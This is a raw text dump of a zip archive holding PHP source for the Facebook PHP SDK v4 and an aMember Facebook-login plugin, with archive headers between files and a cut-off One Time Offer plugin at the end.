$this->signedRequest->getPayload() : null; } /** * Returns a property from the signed request data if available. * * @param string $key * * @return null|mixed */ public function getSignedRequestProperty($key) { return $this->signedRequest ? $this->signedRequest->get($key) : null; } /** * Returns user_id from signed request data if available. * * @return null|string */ public function getUserId() { return $this->signedRequest ? $this->signedRequest->getUserId() : null; } // @TODO Remove getSessionInfo() in 4.1: can be accessed from AccessToken directly /** * getSessionInfo - Makes a request to /debug_token with the appropriate * arguments to get debug information about the sessions token. * * @param string|null $appId * @param string|null $appSecret * * @return GraphSessionInfo */ public function getSessionInfo($appId = null, $appSecret = null) { return $this->accessToken->getInfo($appId, $appSecret); } // @TODO Remove getLongLivedSession() in 4.1: can be accessed from AccessToken directly /** * getLongLivedSession - Returns a new Facebook session resulting from * extending a short-lived access token. If this session is not * short-lived, returns $this. * * @param string|null $appId * @param string|null $appSecret * * @return FacebookSession */ public function getLongLivedSession($appId = null, $appSecret = null) { $longLivedAccessToken = $this->accessToken->extend($appId, $appSecret); return new static($longLivedAccessToken, $this->signedRequest); } // @TODO Remove getExchangeToken() in 4.1: can be accessed from AccessToken directly /** * getExchangeToken - Returns an exchange token string which can be sent * back to clients and exchanged for a device-linked access token. * * @param string|null $appId * @param string|null $appSecret * * @return string */ public function getExchangeToken($appId = null, $appSecret = null) { return AccessToken::getCodeFromAccessToken($this->accessToken, $appId, $appSecret); } // @TODO Remove validate() in 4.1: can be accessed from AccessToken directly /** * validate - Ensures the current session is valid, throwing an exception if * not. Fetches token info from Facebook. * * @param string|null $appId Application ID to use * @param string|null $appSecret App secret value to use * @param string|null $machineId * * @return boolean * * @throws FacebookSDKException */ public function validate($appId = null, $appSecret = null, $machineId = null) { if ($this->accessToken->isValid($appId, $appSecret, $machineId)) { return true; } // @TODO For v4.1 this should not throw an exception, but just return false. throw new FacebookSDKException( 'Session has expired, or is not valid for this app.', 601 ); } // @TODO Remove validateSessionInfo() in 4.1: can be accessed from AccessToken directly /** * validateTokenInfo - Ensures the provided GraphSessionInfo object is valid, * throwing an exception if not. Ensures the appId matches, * that the token is valid and has not expired. * * @param GraphSessionInfo $tokenInfo * @param string|null $appId Application ID to use * @param string|null $machineId * * @return boolean * * @throws FacebookSDKException */ public static function validateSessionInfo(GraphSessionInfo $tokenInfo, $appId = null, $machineId = null) { if (AccessToken::validateAccessToken($tokenInfo, $appId, $machineId)) { return true; } // @TODO For v4.1 this should not throw an exception, but just return false. throw new FacebookSDKException( 'Session has expired, or is not valid for this app.', 601 ); } /** * newSessionFromSignedRequest - Returns a FacebookSession for a * given signed request. * * @param SignedRequest $signedRequest * * @return FacebookSession */ public static function newSessionFromSignedRequest(SignedRequest $signedRequest) { if ($signedRequest->get('code') && !$signedRequest->get('oauth_token')) { return self::newSessionAfterValidation($signedRequest); } $accessToken = $signedRequest->get('oauth_token'); $expiresAt = $signedRequest->get('expires', 0); $accessToken = new AccessToken($accessToken, $expiresAt); return new static($accessToken, $signedRequest); } /** * newSessionAfterValidation - Returns a FacebookSession for a * validated & parsed signed request. * * @param SignedRequest $signedRequest * * @return FacebookSession */ protected static function newSessionAfterValidation(SignedRequest $signedRequest) { $code = $signedRequest->get('code'); $accessToken = AccessToken::getAccessTokenFromCode($code); return new static($accessToken, $signedRequest); } /** * newAppSession - Returns a FacebookSession configured with a token for the * application which can be used for publishing and requesting app-level * information. * * @param string|null $appId Application ID to use * @param string|null $appSecret App secret value to use * * @return FacebookSession */ public static function newAppSession($appId = null, $appSecret = null) { $targetAppId = static::_getTargetAppId($appId); $targetAppSecret = static::_getTargetAppSecret($appSecret); return new FacebookSession( $targetAppId . '|' . $targetAppSecret ); } /** * setDefaultApplication - Will set the static default appId and appSecret * to be used for API requests. * * @param string $appId Application ID to use by default * @param string $appSecret App secret value to use by default */ public static function setDefaultApplication($appId, $appSecret) { self::$defaultAppId = $appId; self::$defaultAppSecret = $appSecret; } /** * _getTargetAppId - Will return either the provided app Id or the default, * throwing if neither are populated. * * @param string $appId * * @return string * * @throws FacebookSDKException */ public static function _getTargetAppId($appId = null) { $target = ($appId ?: self::$defaultAppId); if (!$target) { throw new FacebookSDKException( 'You must provide or set a default application id.', 700 ); } return $target; } /** * _getTargetAppSecret - Will return either the provided app secret or the * default, throwing if neither are populated. * * @param string $appSecret * * @return string * * @throws FacebookSDKException */ public static function _getTargetAppSecret($appSecret = null) { $target = ($appSecret ?: self::$defaultAppSecret); if (!$target) { throw new FacebookSDKException( 'You must provide or set a default application secret.', 701 ); } return $target; } /** * Enable or disable sending the appsecret_proof with requests. * * @param bool $on */ public static function enableAppSecretProof($on = true) { static::$useAppSecretProof = ($on ? true : false); } /** * Get whether or not appsecret_proof should be sent with requests. * * @return bool */ public static function useAppSecretProof() { return static::$useAppSecretProof; } } PK\ܕV7misc/facebook/sdk/src/Facebook/FacebookSDKException.phpnu[ */ class GraphAlbum extends GraphObject { /** * Returns the ID for the album. * * @return string|null */ public function getId() { return $this->getProperty('id'); } /** * Returns whether the viewer can upload photos to this album. * * @return boolean|null */ public function canUpload() { return $this->getProperty('can_upload'); } /** * Returns the number of photos in this album. * * @return int|null */ public function getCount() { return $this->getProperty('count'); } /** * Returns the ID of the album's cover photo. * * @return string|null */ public function getCoverPhoto() { return $this->getProperty('cover_photo'); } /** * Returns the time the album was initially created. * * @return \DateTime|null */ public function getCreatedTime() { $value = $this->getProperty('created_time'); if ($value) { return new \DateTime($value); } return null; } /** * Returns the time the album was updated. * * @return \DateTime|null */ public function getUpdatedTime() { $value = $this->getProperty('updated_time'); if ($value) { return new \DateTime($value); } return null; } /** * Returns the description of the album. * * @return string|null */ public function getDescription() { return $this->getProperty('description'); } /** * Returns profile that created the album. * * @return GraphUser|null */ public function getFrom() { return $this->getProperty('from', GraphUser::className()); } /** * Returns a link to this album on Facebook. * * @return string|null */ public function getLink() { return $this->getProperty('link'); } /** * Returns the textual location of the album. * * @return string|null */ public function getLocation() { return $this->getProperty('location'); } /** * Returns the title of the album. * * @return string|null */ public function getName() { return $this->getProperty('name'); } /** * Returns the privacy settings for the album. * * @return string|null */ public function getPrivacy() { return $this->getProperty('privacy'); } /** * Returns the type of the album. enum{profile, mobile, wall, normal, album} * * @return string|null */ public function getType() { return $this->getProperty('type'); } //TODO: public function getPlace() that should return GraphPage } PK\''>misc/facebook/sdk/src/Facebook/FacebookRedirectLoginHelper.phpnu[ * @author David Poll */ class FacebookRedirectLoginHelper { /** * @var string The application id */ private $appId; /** * @var string The application secret */ private $appSecret; /** * @var string The redirect URL for the application */ private $redirectUrl; /** * @var string Prefix to use for session variables */ private $sessionPrefix = 'FBRLH_'; /** * @var string State token for CSRF validation */ protected $state; /** * @var boolean Toggle for PHP session status check */ protected $checkForSessionStatus = true; /** * Constructs a RedirectLoginHelper for a given appId and redirectUrl. * * @param string $redirectUrl The URL Facebook should redirect users to * after login * @param string $appId The application id * @param string $appSecret The application secret */ public function __construct($redirectUrl, $appId = null, $appSecret = null) { $this->appId = FacebookSession::_getTargetAppId($appId); $this->appSecret = FacebookSession::_getTargetAppSecret($appSecret); $this->redirectUrl = $redirectUrl; } /** * Stores CSRF state and returns a URL to which the user should be sent to * in order to continue the login process with Facebook. The * provided redirectUrl should invoke the handleRedirect method. * * @param array $scope List of permissions to request during login * @param string $version Optional Graph API version if not default (v2.0) * @param boolean $displayAsPopup Indicate if the page will be displayed as a popup * @param bool|string $authType 'reauthenticate' or 'https', true is equivalent to 'reauthenticate', * false or invalid value will not add auth type parameter * * @return string */ public function getLoginUrl(array $scope = array(), $version = null, $displayAsPopup = false, $authType = false) { $version = ($version ?: FacebookRequest::GRAPH_API_VERSION); $this->state = $this->random(16); $this->storeState($this->state); $params = array( 'client_id' => $this->appId, 'redirect_uri' => $this->redirectUrl, 'state' => $this->state, 'sdk' => 'php-sdk-' . FacebookRequest::VERSION, 'scope' => implode(',', $scope) ); if (in_array($authType, array(true, 'reauthenticate', 'https'), true)) { $params['auth_type'] = $authType === true ? 'reauthenticate' : $authType; } if ($displayAsPopup) { $params['display'] = 'popup'; } return 'https://www.facebook.com/' . $version . '/dialog/oauth?' . http_build_query($params, null, '&'); } /** * Returns a URL to which the user should be sent to re-request permissions. * * @param array $scope List of permissions to re-request * @param string $version Optional Graph API version if not default (v2.0) * * @return string */ public function getReRequestUrl(array $scope = array(), $version = null) { $version = ($version ?: FacebookRequest::GRAPH_API_VERSION); $this->state = $this->random(16); $this->storeState($this->state); $params = array( 'client_id' => $this->appId, 'redirect_uri' => $this->redirectUrl, 'state' => $this->state, 'sdk' => 'php-sdk-' . FacebookRequest::VERSION, 'auth_type' => 'rerequest', 'scope' => implode(',', $scope) ); return 'https://www.facebook.com/' . $version . '/dialog/oauth?' . http_build_query($params, null, '&'); } /** * Returns the URL to send the user in order to log out of Facebook. * * @param FacebookSession $session The session that will be logged out * @param string $next The url Facebook should redirect the user to after * a successful logout * * @return string * * @throws FacebookSDKException */ public function getLogoutUrl(FacebookSession $session, $next) { if ($session->getAccessToken()->isAppSession()) { throw new FacebookSDKException( 'Cannot generate a Logout URL with an App Session.', 722 ); } $params = array( 'next' => $next, 'access_token' => $session->getToken() ); return 'https://www.facebook.com/logout.php?' . http_build_query($params, null, '&'); } /** * Handles a response from Facebook, including a CSRF check, and returns a * FacebookSession. * * @return FacebookSession|null */ public function getSessionFromRedirect() { if ($this->isValidRedirect()) { $params = array( 'client_id' => FacebookSession::_getTargetAppId($this->appId), 'redirect_uri' => $this->redirectUrl, 'client_secret' => FacebookSession::_getTargetAppSecret($this->appSecret), 'code' => $this->getCode() ); $response = (new FacebookRequest( FacebookSession::newAppSession($this->appId, $this->appSecret), 'GET', '/oauth/access_token', $params ))->execute()->getResponse(); // Graph v2.3 and greater return objects on the /oauth/access_token endpoint $accessToken = null; if (is_object($response) && isset($response->access_token)) { $accessToken = $response->access_token; } elseif (is_array($response) && isset($response['access_token'])) { $accessToken = $response['access_token']; } if (isset($accessToken)) { return new FacebookSession($accessToken); } } return null; } /** * Check if a redirect has a valid state. * * @return bool */ protected function isValidRedirect() { $savedState = $this->loadState(); if (!$this->getCode() || !isset($_GET['state'])) { return false; } $givenState = $_GET['state']; $savedLen = mb_strlen($savedState); $givenLen = mb_strlen($givenState); if ($savedLen !== $givenLen) { return false; } $result = 0; for ($i = 0; $i < $savedLen; $i++) { $result |= ord($savedState[$i]) ^ ord($givenState[$i]); } return $result === 0; } /** * Return the code. * * @return string|null */ protected function getCode() { return isset($_GET['code']) ? $_GET['code'] : null; } /** * Stores a state string in session storage for CSRF protection. * Developers should subclass and override this method if they want to store * this state in a different location. * * @param string $state * * @throws FacebookSDKException */ protected function storeState($state) { if ($this->checkForSessionStatus === true && session_status() !== PHP_SESSION_ACTIVE) { throw new FacebookSDKException( 'Session not active, could not store state.', 720 ); } $_SESSION[$this->sessionPrefix . 'state'] = $state; } /** * Loads a state string from session storage for CSRF validation. May return * null if no object exists. Developers should subclass and override this * method if they want to load the state from a different location. * * @return string|null * * @throws FacebookSDKException */ protected function loadState() { if ($this->checkForSessionStatus === true && session_status() !== PHP_SESSION_ACTIVE) { throw new FacebookSDKException( 'Session not active, could not load state.', 721 ); } if (isset($_SESSION[$this->sessionPrefix . 'state'])) { $this->state = $_SESSION[$this->sessionPrefix . 'state']; return $this->state; } return null; } /** * Generate a cryptographically secure pseudrandom number * * @param integer $bytes - number of bytes to return * * @return string * * @throws FacebookSDKException * * @todo Support Windows platforms */ public function random($bytes) { if (!is_numeric($bytes)) { throw new FacebookSDKException( 'random() expects an integer' ); } if ($bytes < 1) { throw new FacebookSDKException( 'random() expects an integer greater than zero' ); } $buf = ''; // http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers/ if (!ini_get('open_basedir') && is_readable('/dev/urandom')) { $fp = fopen('/dev/urandom', 'rb'); if ($fp !== FALSE) { $buf = fread($fp, $bytes); fclose($fp); if($buf !== FALSE) { return bin2hex($buf); } } } if (function_exists('mcrypt_create_iv')) { $buf = mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM); if ($buf !== FALSE) { return bin2hex($buf); } } while (strlen($buf) < $bytes) { $buf .= md5(uniqid(mt_rand(), true), true); // We are appending raw binary } return bin2hex(substr($buf, 0, $bytes)); } /** * Disables the session_status() check when using $_SESSION */ public function disableSessionStatusCheck() { $this->checkForSessionStatus = false; } } PK\$<misc/facebook/sdk/src/Facebook/FacebookThrottleException.phpnu[ */ class GraphUserPage extends GraphObject { /** * Returns the ID for the user's page as a string if present. * * @return string|null */ public function getId() { return $this->getProperty('id'); } /** * Returns the Category for the user's page as a string if present. * * @return string|null */ public function getCategory() { return $this->getProperty('category'); } /** * Returns the Name of the user's page as a string if present. * * @return string|null */ public function getName() { return $this->getProperty('name'); } /** * Returns the Access Token used to access the user's page as a string if present. * * @return string|null */ public function getAccessToken() { return $this->getProperty('access_token'); } /** * Returns the Permissions for the user's page as an array if present. * * @return array|null */ public function getPermissions() { return $this->getProperty('perms'); } }PK\ <3misc/facebook/sdk/src/Facebook/FacebookResponse.phpnu[ * @author David Poll */ class FacebookResponse { /** * @var FacebookRequest The request which produced this response */ private $request; /** * @var array The decoded response from the Graph API */ private $responseData; /** * @var string The raw response from the Graph API */ private $rawResponse; /** * @var bool Indicates whether sent ETag matched the one on the FB side */ private $etagHit; /** * @var string ETag received with the response. `null` in case of ETag hit. */ private $etag; /** * Creates a FacebookResponse object for a given request and response. * * @param FacebookRequest $request * @param array $responseData JSON Decoded response data * @param string $rawResponse Raw string response * @param bool $etagHit Indicates whether sent ETag matched the one on the FB side * @param string|null $etag ETag received with the response. `null` in case of ETag hit. */ public function __construct($request, $responseData, $rawResponse, $etagHit = false, $etag = null) { $this->request = $request; $this->responseData = $responseData; $this->rawResponse = $rawResponse; $this->etagHit = $etagHit; $this->etag = $etag; } /** * Returns the request which produced this response. * * @return FacebookRequest */ public function getRequest() { return $this->request; } /** * Returns the decoded response data. * * @return array */ public function getResponse() { return $this->responseData; } /** * Returns the raw response * * @return string */ public function getRawResponse() { return $this->rawResponse; } /** * Returns true if ETag matched the one sent with a request * * @return bool */ public function isETagHit() { return $this->etagHit; } /** * Returns the ETag * * @return string */ public function getETag() { return $this->etag; } /** * Gets the result as a GraphObject. If a type is specified, returns the * strongly-typed subclass of GraphObject for the data. * * @param string $type * * @return mixed */ public function getGraphObject($type = 'Facebook\GraphObject') { return (new GraphObject($this->responseData))->cast($type); } /** * Returns an array of GraphObject returned by the request. If a type is * specified, returns the strongly-typed subclass of GraphObject for the data. * * @param string $type * * @return mixed */ public function getGraphObjectList($type = 'Facebook\GraphObject') { $out = array(); $data = $this->responseData->data; $dataLength = count($data); for ($i = 0; $i < $dataLength; $i++) { $out[] = (new GraphObject($data[$i]))->cast($type); } return $out; } /** * If this response has paginated data, returns the FacebookRequest for the * next page, or null. * * @return FacebookRequest|null */ public function getRequestForNextPage() { return $this->handlePagination('next'); } /** * If this response has paginated data, returns the FacebookRequest for the * previous page, or null. * * @return FacebookRequest|null */ public function getRequestForPreviousPage() { return $this->handlePagination('previous'); } /** * Returns the FacebookRequest for the previous or next page, or null. * * @param string $direction * * @return FacebookRequest|null */ private function handlePagination($direction) { if (isset($this->responseData->paging->$direction)) { $url = parse_url($this->responseData->paging->$direction); parse_str($url['query'], $params); if (isset($params['type']) && strpos($this->request->getPath(), $params['type']) !== false){ unset($params['type']); } return new FacebookRequest( $this->request->getSession(), $this->request->getMethod(), $this->request->getPath(), $params ); } else { return null; } } } PK\ * @author David Poll */ class GraphUser extends GraphObject { /** * Returns the ID for the user as a string if present. * * @return string|null */ public function getId() { return $this->getProperty('id'); } /** * Returns the name for the user as a string if present. * * @return string|null */ public function getName() { return $this->getProperty('name'); } public function getEmail() { return $this->getProperty('email'); } /** * Returns the first name for the user as a string if present. * * @return string|null */ public function getFirstName() { return $this->getProperty('first_name'); } /** * Returns the middle name for the user as a string if present. * * @return string|null */ public function getMiddleName() { return $this->getProperty('middle_name'); } /** * Returns the last name for the user as a string if present. * * @return string|null */ public function getLastName() { return $this->getProperty('last_name'); } /** * Returns the gender for the user as a string if present. * * @return string|null */ public function getGender() { return $this->getProperty('gender'); } /** * Returns the Facebook URL for the user as a string if available. * * @return string|null */ public function getLink() { return $this->getProperty('link'); } /** * Returns the users birthday, if available. * * @return \DateTime|null */ public function getBirthday() { $value = $this->getProperty('birthday'); if ($value) { return new \DateTime($value); } return null; } /** * Returns the current location of the user as a FacebookGraphLocation * if available. * * @return GraphLocation|null */ public function getLocation() { return $this->getProperty('location', GraphLocation::className()); } /** * Returns the timezone for the user as a int if present. * * @return string|null */ public function getTimezone() { return $this->getProperty('timezone'); } } PK\U{{.misc/facebook/sdk/src/Facebook/GraphObject.phpnu[ * @author David Poll */ class GraphObject { /** * @var array - Holds the raw associative data for this object */ protected $backingData; /** * Creates a GraphObject using the data provided. * * @param array $raw */ public function __construct($raw) { if ($raw instanceof \stdClass) { $raw = get_object_vars($raw); } $this->backingData = $raw; if (isset($this->backingData['data']) && count($this->backingData) === 1) { if ($this->backingData['data'] instanceof \stdClass) { $this->backingData = get_object_vars($this->backingData['data']); } else { $this->backingData = $this->backingData['data']; } } } /** * cast - Return a new instance of a FacebookGraphObject subclass for this * objects underlying data. * * @param string $type The GraphObject subclass to cast to * * @return GraphObject * * @throws FacebookSDKException */ public function cast($type) { if ($this instanceof $type) { return $this; } if (is_subclass_of($type, GraphObject::className())) { return new $type($this->backingData); } else { throw new FacebookSDKException( 'Cannot cast to an object that is not a GraphObject subclass', 620 ); } } /** * asArray - Return a key-value associative array for the given graph object. * * @return array */ public function asArray() { return $this->backingData; } /** * getProperty - Gets the value of the named property for this graph object, * cast to the appropriate subclass type if provided. * * @param string $name The property to retrieve * @param string $type The subclass of GraphObject, optionally * * @return mixed */ public function getProperty($name, $type = 'Facebook\GraphObject') { if (isset($this->backingData[$name])) { $value = $this->backingData[$name]; if (is_scalar($value)) { return $value; } else { return (new GraphObject($value))->cast($type); } } else { return null; } } /** * getPropertyAsArray - Get the list value of a named property for this graph * object, where each item has been cast to the appropriate subclass type * if provided. * * Calling this for a property that is not an array, the behavior * is undefined, so don’t do this. * * @param string $name The property to retrieve * @param string $type The subclass of GraphObject, optionally * * @return array */ public function getPropertyAsArray($name, $type = 'Facebook\GraphObject') { $target = array(); if (isset($this->backingData[$name]['data'])) { $target = $this->backingData[$name]['data']; } else if (isset($this->backingData[$name]) && !is_scalar($this->backingData[$name])) { $target = $this->backingData[$name]; } $out = array(); foreach ($target as $key => $value) { if (is_scalar($value)) { $out[$key] = $value; } else { $out[$key] = (new GraphObject($value))->cast($type); } } return $out; } /** * getPropertyNames - Returns a list of all properties set on the object. * * @return array */ public function getPropertyNames() { return array_keys($this->backingData); } /** * Returns the string class name of the GraphObject or subclass. * * @return string */ public static function className() { return get_called_class(); } }PK\n3qGmisc/facebook/sdk/src/Facebook/FacebookSignedRequestFromInputHelper.phpnu[appId = FacebookSession::_getTargetAppId($appId); $this->appSecret = FacebookSession::_getTargetAppSecret($appSecret); $this->instantiateSignedRequest(); } /** * Instantiates a new SignedRequest entity. * * @param string|null $rawSignedRequest */ public function instantiateSignedRequest($rawSignedRequest = null) { $rawSignedRequest = $rawSignedRequest ?: $this->getRawSignedRequest(); if (!$rawSignedRequest) { return; } $this->signedRequest = new SignedRequest($rawSignedRequest, $this->state, $this->appSecret); } /** * Instantiates a FacebookSession from the signed request from input. * * @return FacebookSession|null */ public function getSession() { if ($this->signedRequest && $this->signedRequest->hasOAuthData()) { return FacebookSession::newSessionFromSignedRequest($this->signedRequest); } return null; } /** * Returns the SignedRequest entity. * * @return \Facebook\Entities\SignedRequest|null */ public function getSignedRequest() { return $this->signedRequest; } /** * Returns the user_id if available. * * @return string|null */ public function getUserId() { return $this->signedRequest ? $this->signedRequest->getUserId() : null; } /** * Get raw signed request from input. * * @return string|null */ abstract public function getRawSignedRequest(); /** * Get raw signed request from GET input. * * @return string|null */ public function getRawSignedRequestFromGet() { if (isset($_GET['signed_request'])) { return $_GET['signed_request']; } return null; } /** * Get raw signed request from POST input. * * @return string|null */ public function getRawSignedRequestFromPost() { if (isset($_POST['signed_request'])) { return $_POST['signed_request']; } return null; } /** * Get raw signed request from cookie set from the Javascript SDK. * * @return string|null */ public function getRawSignedRequestFromCookie() { $strCookieKey = 'fbsr_' . $this->appId; if (isset($_COOKIE[$strCookieKey])) { return $_COOKIE[$strCookieKey]; } return null; } } PK\:c misc/facebook/sdk/autoload.phpnu[_api_loaded) return true; try { include_once __DIR__ . "/sdk/autoload.php"; FacebookSession::setDefaultApplication($this->getConfig(self::FB_APP_ID), $this->getConfig(self::FB_APP_SECRET)); $this->_api_loaded = true; } catch (Exception $ex) { $this->_api_error = $ex->getMessage(); } return $this->_api_loaded; } public function onAdminWarnings(Am_Event $event) { if (!$this->_api_loaded) { $event->addReturn(___('Facebook SDK was not loaded. Got an error: %s', $this->_api_error)); } else { parent::onAdminWarnings($event); } } public function isConfigured() { return $this->getConfig(self::FB_APP_ID) && $this->getConfig(self::FB_APP_SECRET) && $this->loadAPI(); } function onSetupForms(Am_Event_SetupForms $event) { $form = new Am_Form_Setup('facebook'); $form->setTitle('Facebook'); $fs = $form->addFieldset()->setLabel(___('FaceBook Application')); $fs->addText(self::FB_APP_ID)->setLabel(___('FaceBook App ID')); $fs->addText(self::FB_APP_SECRET, array('size' => 40))->setLabel(___('Facebook App Secret')); $fs = $form->addFieldset()->setLabel(___('Features')); $size = array('icon', 'small', 'medium', 'large', 'xlarge'); $fs->addSelect('size') ->setLabel(___('Login Button Size')) ->loadOptions(array_combine($size, $size)); $fs->addAdvCheckbox('no_signup') ->setLabel(___('Do not add to Signup Form')); $fs->addAdvCheckbox('no_login') ->setLabel(___('Do not add to Login Form')); $gr = $fs->addGroup() ->setLabel(___('Add "Like" button')); $gr->addAdvCheckbox('like', array('id' => 'like-settings')); $gr->addStatic()->setContent(' ' . ___('Like Url') . ' '); $gr->addText('likeurl', array('size' => 40)); $layout = array('standard', 'button_count', 'button', 'box_count'); $fs->addSelect('layout', array('rel' => 'like-settings')) ->setLabel(___('Like Button Layout')) ->loadOptions(array_combine($layout, $layout)); $action = array('like', 'recommend'); $fs->addSelect('action', array('rel' => 'like-settings')) ->setLabel(___('Like Button Action')) ->loadOptions(array_combine($action, $action)); $form->addScript() ->setScript(<<setDefault('likeurl', ROOT_URL); $fs->addSelect('add_access', null, array( 'options' => array('' => '-- Do not add access --') + $this->getDi()->productTable->getOptions() )) ->setLabel(___("Add free access to a product\n" . "if user signup from Facebook")); $form->addFieldsPrefix('misc.facebook.'); $this->_afterInitSetupForm($form); $event->addForm($form); } function onInitFinished(Am_Event $event) { $blocks = $this->getDi()->blocks; if (!$this->getConfig('no_login')) $blocks->add( new Am_Block('login/form/after', null, 'fb-login', $this, 'fb-login.phtml')); if (!$this->getConfig('no_signup')) $blocks->add( new Am_Block('signup/form/before', null, 'fb-signup', $this, 'fb-signup.phtml')); if ($this->getConfig('like')) $blocks->add( new Am_Block('member/main/right/bottom', null, 'fb-like', $this, 'fb-like.phtml')); } function onSignupUserAdded(Am_Event $event) { $user = $event->getUser(); // validate if user is logged-in to Facebook if ($fbuid = $this->getFbUid()) { $user->data()->set(self::FACEBOOK_UID, $fbuid)->update(); } } function includeJSSDK() { $locale = $this->getDi()->locale->getId(); echo << CUT; } function includeLoginJS() { echo << function facebook_login_login() { var loginRedirect = function(){ var href = window.location.href; if (href.indexOf('?') < 0) href += '?fb_login=1'; else href += '&fb_login=1'; window.location.href=href; } FB.getLoginStatus(function(response) { if(response.status == 'connected') loginRedirect(); else FB.login(function(response) { if (response.status=='connected') loginRedirect(); }, {scope: 'email'}); }); } OUT; } /** * return FacebookSession $session; */ function getFacebookJsSession() { if (is_null($this->session)) { try { $helper = new FacebookJavaScriptLoginHelper; $this->session = $helper->getSession(); } catch (Exception $e) { return null; } } return $this->session; } /** * Create account in aMember for user who is logged in facebook. */ function createAccount() { /* Search for account by email address */ $user = $this->getDi()->userTable->findFirstByEmail($this->getFbProfile('email')); if (empty($user)) { // Create account for user; $user = $this->getDi()->userRecord; $user->email = $this->getFbProfile('email'); $user->name_f = $this->getFbProfile('first_name'); $user->name_l = $this->getFbProfile('last_name'); $user->generateLogin(); $user->generatePassword(); $user->insert(); } if(!$user->data()->get(self::FACEBOOK_UID) && ($product_id = $this->getConfig('add_access'))) { $product = $this->getDi()->productTable->load($product_id); $billingPlan = $this->getDi()->billingPlanTable->load($product->default_billing_plan_id); $access = $this->getDi()->accessRecord; $access->product_id = $product_id; $access->begin_date = $this->getDi()->sqlDate; $period = new Am_Period($billingPlan->first_period); $access->expire_date = $period->addTo($access->begin_date); $access->user_id = $user->pk(); $access->insert(); } $user->data()->set(self::FACEBOOK_UID, $this->getFbProfile('id'))->update(); return $user; } function onAuthCheckLoggedIn(Am_Event_AuthCheckLoggedIn $event) { $status = $this->getStatus(); if ($status == self::LOGGED_AND_LINKED) { $event->setSuccessAndStop($this->linkedUser); } elseif ($status == self::LOGGED_OUT && !empty($_GET['fb_login'])) { $this->linkedUser->data()->set(self::FACEBOOK_LOGOUT, null)->update(); $event->setSuccessAndStop($this->linkedUser); } elseif ($status == self::LOGGED_IN && $this->getDi()->request->get('fb_login')) { $this->linkedUser = $this->createAccount(); $event->setSuccessAndStop($this->linkedUser); } } function onAuthAfterLogout(Am_Event_AuthAfterLogout $event) { $domain = $this->getDi()->request->getHttpHost(); Am_Cookie::set('fbsr_' . $this->getConfig('app_id'), null, time() - 3600 * 24, "/"); Am_Cookie::set('fbm_' . $this->getConfig('app_id'), null, time() - 3600 * 24, "/"); Am_Cookie::set('fbsr_' . $this->getConfig('app_id'), null, time() - 3600 * 24, "/", $domain, false); Am_Cookie::set('fbm_' . $this->getConfig('app_id'), null, time() - 3600 * 24, "/", $domain, false); $event->getUser()->data()->set(self::FACEBOOK_LOGOUT, true)->update(); } function onAuthAfterLogin(Am_Event_AuthAfterLogin $event) { if (($this->getStatus() == self::LOGGED_IN) && $this->getFbUid()) { $event->getUser()->data()->set(self::FACEBOOK_UID, $this->getFbUid())->update(); } } function getStatus() { if ($this->status !== null) return $this->status; $this->linkedUser = null; if ($id = $this->getFbUid()) { $user = $this->getDi()->userTable->findFirstByData(self::FACEBOOK_UID, $id); if ($user) { $this->linkedUser = $user; if ($user->data()->get(self::FACEBOOK_LOGOUT)) { $this->status = self::LOGGED_OUT; } else { $this->status = self::LOGGED_AND_LINKED; } } else { $this->status = self::LOGGED_IN; } } else { $this->status = self::NOT_LOGGED_IN; } return $this->status; } /** @return User */ function getLinkedUser() { return $this->linkedUser; } /** @return int FbUid */ function getFbUid() { $session = $this->getFacebookJsSession(); if (is_null($session)) return null; return $session->getUserId(); } /** @return facebook info */ function getFbProfile($fieldName) { if (is_null($this->fbProfile) && $this->getFbUid()) { $session = $this->getFacebookJsSession(); $fbReq = new FacebookRequest( $session, 'GET', '/me?fields=email,first_name,last_name' ); try { $user_profile = $fbReq->execute()->getGraphObject(GraphUser::className()); $this->fbProfile = $user_profile; } catch (Exception $e) { return null; } } return $this->fbProfile->getProperty($fieldName); } function getReadme() { return << Setup -> Plugins and enable facebook plugin; * If you have not done it before, you need to register your Application on Facebook. Go to https://developers.facebook.com/apps and click Create New App button * Enter App Display Name - it will be displayed to customer when he is asked to grant access to information during login, and click Continue * Enter your Contact Email * Enter your domain name (without www) into App Domain field * In the Select how your app integrates with Facebook, click on Website * Finally, press Save Changes * Copy & paste App ID and App Secret. You will need these values on the next step * Return back to aMember Cp -> Setup -> Facebook and insert App ID and App Secret values into corresponding fields. Optionally, you can add Like button into members area. Usually it points to your site homepage url : http://www.example.com/ CUT; } }PK\޵m"misc/facebook/blocks/fb-like.phtmlnu[includeJSSDK(); ?>
    PK\>e;zz#misc/facebook/blocks/fb-login.phtmlnu[includeJSSDK(); $plugin->includeLoginJS(); ?> PK\_$misc/facebook/blocks/fb-signup.phtmlnu[di->auth->getUserId() && ($_SERVER['REQUEST_METHOD'] != 'POST') && (empty($_GET['_qf_EmailCode_display']))): // skip this block if user is logged-in ?> includeJSSDK(); $plugin->includeLoginJS(); ?> PK\qwwmisc/plugin-readme.txtnu[ PLUGIN INSTALLATION 1. Upload plugin code to folder 'amember/application/default/plugins/protect' 2. Enable plugin at aMember CP -> Configuration -> Setup/Configuration -> Plugins 3. Visit plugin configuration section aMember CP -> Configuration -> Setup/Configuration -> [Module Name] to configure plugin. Plugin-specific readme is displayed this page at bottom. PK\^SS misc/oto.phpnu[
    CUT; } public function getTitle() { return ___('One Time Offer'); } public function onAdminMenu(Am_Event $event) { $event->getMenu()->addPage(array( 'id' => 'oto', 'module' => 'default', 'controller' => 'admin-one-time-offer', 'action' => 'index', 'label' => ___('One Time Offer'), 'resource' => self::ADMIN_PERM_ID )); } public function init() { parent::init(); $this->getDi()->front->registerPlugin(new Am_Mvc_Controller_Plugin_Oto()); $this->getDi()->hook->prepend(Am_Event::THANKS_PAGE, array($this, '_onThanksPage')); } /** * Special handle for offline plugin * * show oto on first login after purchase instead of * thank you page * * @param Am_Event $event */ public function onInvoiceStarted(Am_Event $event) { /* @var $invoice Invoice */ $invoice = $event->getInvoice(); if ($invoice->paysys_id == 'offline') { $oto = $this->getDi()->otoTable->findUpsell($invoice->getProducts()); if ($oto) { $user = $invoice->getUser(); $user->data()->set(self::NEED_SHOW_OTO, $invoice->pk())->update(); } } } function _onThanksPage(Am_Event $event) { /* @var $invoice Invoice */ $invoice = $event->getInvoice(); /* @var $controller ThanksController */ $controller = $event->getController(); if (!$invoice || !$invoice->tm_started) return; // invoice is not yet paid $this->getDi()->blocks ->add(new Am_Block('thanks/success', 'Parent Invoices', 'oto-parents', $this, array($this, 'renderParentInvoices'))); if 